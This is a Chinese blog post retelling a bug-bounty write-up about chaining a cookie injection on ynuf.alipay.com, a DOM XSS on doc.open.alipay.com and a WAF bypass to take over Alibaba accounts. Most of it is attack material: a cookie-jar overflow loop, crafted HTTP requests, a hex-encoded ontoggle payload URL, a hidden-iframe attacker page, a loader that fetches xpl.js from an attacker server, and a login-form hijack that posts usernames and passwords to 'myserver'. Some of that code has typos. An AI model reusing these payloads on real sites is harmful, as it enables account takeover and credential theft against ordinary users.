绕过阿里巴巴waf接管阿里体系下全部账户的权限

原文地址是:https://medium.com/@y.shahinzadeh/chaining-multiple-vulnerabilities-waf-bypass-to-account-takeover-in-almost-all-alibabas-websites-f8643eaa2855

但是我不想翻译,我也不想用那机器人一样的翻译方式 嘿老伙计,我发誓,我一定要狠狠的踢你的屁股。那种方式去翻译。我就以我的理解,我最大,哈哈哈哈 来翻译。OK

======translateing begins ===========

 

前置知识

其因是alibaba.com在hackerone上有一个项目,奖励的范围用老外的话来说是非常大。哈哈哈哈 huge scope 吓尿老外了。

老外说要从jsonp下手,他说jsonp之类的一些会操作cookie,可能老外对cookie之类的传输安全什么的很看重,毕竟拿到cookie,基本上就是可以登录你的账号了

jsonp因为是跨域加载的,所以他会加入其他外部的一些域的内容,这可能会有一些安全问题,以下是一个正常的jsonp请求过程

根据RFC6265的规定,a.b.com可以设置一个属性为.b.com或a.b.com属性的cookie键值,而且访问b.com的时候很自然的.b.com的这个cookie也会被发送过去。

简单的来说就是:

非顶级域名,如二级域名或者三级域名,设置的cookie的domain只能为顶级域名或者二级域名或者三级域名本身,不能设置其他二级域名的cookie,否则cookie无法生成。

顶级域名只能设置domain为顶级域名,不能设置为二级域名或者三级域名,否则cookie无法生成。

二级域名能读取设置了domain为顶级域名或者自身的cookie,不能读取其他二级域名domain的cookie。所以要想cookie在多个二级域名中共享,需要设置domain为顶级域名,这样就可以在所有二级域名里面或者到这个cookie的值了。
顶级域名只能获取到domain设置为顶级域名的cookie,其他domain设置为二级域名的无法获取。

但是!老外画了一个这个图 ,虽然看不懂在说什么(*&……%¥%……&*

了解了cookie 的domain使用。接下来就要了解下jQuery等一些框架的dom操作,例如.val()方法,常见的一些框架都会有这样的dom操作方法,通过dom api快速获取一些html内容。

假设我们有这样的一段html代码:

<input id="input" value="&amp;&quot;" />

 我们在input里输入的是&amp;&quot; 

 这样的话,接下来的jquery 使用$.val()方法获取的结果是

$('#input').val() // return &"

 嗯 就是那个    &"

了解上面几个前提知识后可以逐步开始了解这个漏洞的产生过程了。

但是阿里有waf。 嗯。。。 在这个过程中,老外发现了一个可以bypass阿里waf的方法。

这个payload不会被拦截 或者跳转为其他的请求302 之类的。

根据实验,每个cookie对domain的设置是有限的,在google chrome浏览器下对同一个域名只能设置不超过150个的cookie值,firefox可以达到200个。具体的文档是http://browsercookielimits.squawky.net/

如果感兴趣的话可以尝试下下面的代码

for(var i=0;i<1000;i++){
	document.cookie=i+'=1;domain=.alipay.com'
}
document.cookie='uid=foo;domain=.alipay.com;path=/'

 正文开始

啊哦 ,在我翻译这个文章的时候老外的文章 对这个阿里的xss漏洞被干掉了,通过公关和谐了。。。嗯  没关系 我根据我当是阅读的时候理解重新讲述一下

  1. ynuf.alipay.com上有个uid,很多阿里下的域名或者内容都会加载这个 并且设置cookie值。
    um.__idcb("5cb143654b94f4a5")
    
  2. 找到一个alipay.com下的任何一个xss
  3. 通过alipay.com的xss来覆盖你要攻击的域的cookie内容,例如login.alibaba.com就行了

这个uid的获取过程如下

如果没有这个cookie 会从alipay去加载

第一次请求如下

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 17:38:10 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: d181bf00669d40c0
Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("26fadf90bac907a7")

 

第二次请求和返回

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=d181bf00669d40c0
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("d181bf00669d40c0")

 第三次

GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=")+alert("Injected
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("")+alert("Injected")

 可以看出 第三次的时候,我们修改cookie的uid值,就可以注入恶意代码,所以我们拿到一个*.alipay.com下的一个xss就可以对这个cookie进行操作了。

所以根据cookie的domain设置规则,我们需要在.alipay.com下注入这个注入这个uid的xss 就可以让alipay.com下的全部子域名都感染这个xss。

uid=")+alert("xss;domain=.alipay.com

但是有个前提 我们先找个*.alipay.com下的xss。 然后作者在https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo找到了一个xss

对其中的keyword参数注入了双引号进行测试。发现返回如下

 

 

 也就是参数 foo"> 经过浏览器编码 变成foo%22%3e 然后到达服务端进行urldecode还原为foo">,再进行htmlencode为foo&quote;&gt; 然后返回

如下图

 

 而这个doc.open.alipay.com下这个搜索结果的内容展示是通过dom生成的。。。。只要是htmlencode后的内容 通过dom生成 依然可以xss,这是前置知识里写的关于jquery之类的一些框架的val方法的原理。

那么现在的过程就是  foo">  先经过urldecode 然后经过htmlencode 然后再经过一定过滤。。。然后再输出

但是再fuzz的过程发现了一个比较严重的问题,那就是如下

 

这个没过滤 导致  我们输入  ">%26gt;script%26lt;的时候, 经过urldecode后是">&gt;script&lt;

然后这个">&gt;script&lt;  返回后在经过前端框架的val处理 变成xss。

但是这个时候有个waf。。。发现了script关键词 估计就干掉了,代码中必须返http请求为200才可以正常加载,所以要找一个waf不会触发的xss 标签。

最后发现了<details/open/ontoggle=alert`1`>这个办法。

 

html5支持这样的解析方式。。。

好吧

最后就是

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E

 最后我们来构造一下整个过程

构造一个sb.html页面 代码如下:

<html>
<ce
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>

 这个页面是个dom xss,并不是反射型的哦。这个页面会执行 覆盖cookie的操作,然后写入我们一个恶意的cookie值,这个cookie是一个js注入的代码,代码如下:

"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""

 这个时候你再去访问login.alibaba.com, 当然 你先清除uid那个cookie ,服务器发现你没有uid这个cookie 会去加载上面这个cookie。上面的这个cookie会被文章最开始的um.__idcb("")+alert("Injected") 的一部分执行。也就是动态加载一个script标签咯。接下来这个动态加载的恶意标签中的内容如下:

document.forms[0].on submit = function() {
    var u = document.getElementById('fm-login-id');
    var p = document.getElementById('fm-login-password');
    var s = new xmlHttpRequets();
    s.open('POST', 'https://myserver/xxx-alibaba/');
    s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    s.on readystatechange = function() {
        if (s.readState == 4) {
            document.forms[0].submit();
        }
    }
    s.send(`u=${u}&p=${p}`);
    return false;
}

 很简单,代码就是通过document.getElementById获取表单的值,然后通过xmlhttprequest对象发送到服务端

整个过程完成了。

 

哇塞 其实这是一个非常精彩的xss过程。帅气

 

posted @ 2019-04-16 02:27  xsser's  阅读(1322)  评论(0编辑  收藏  举报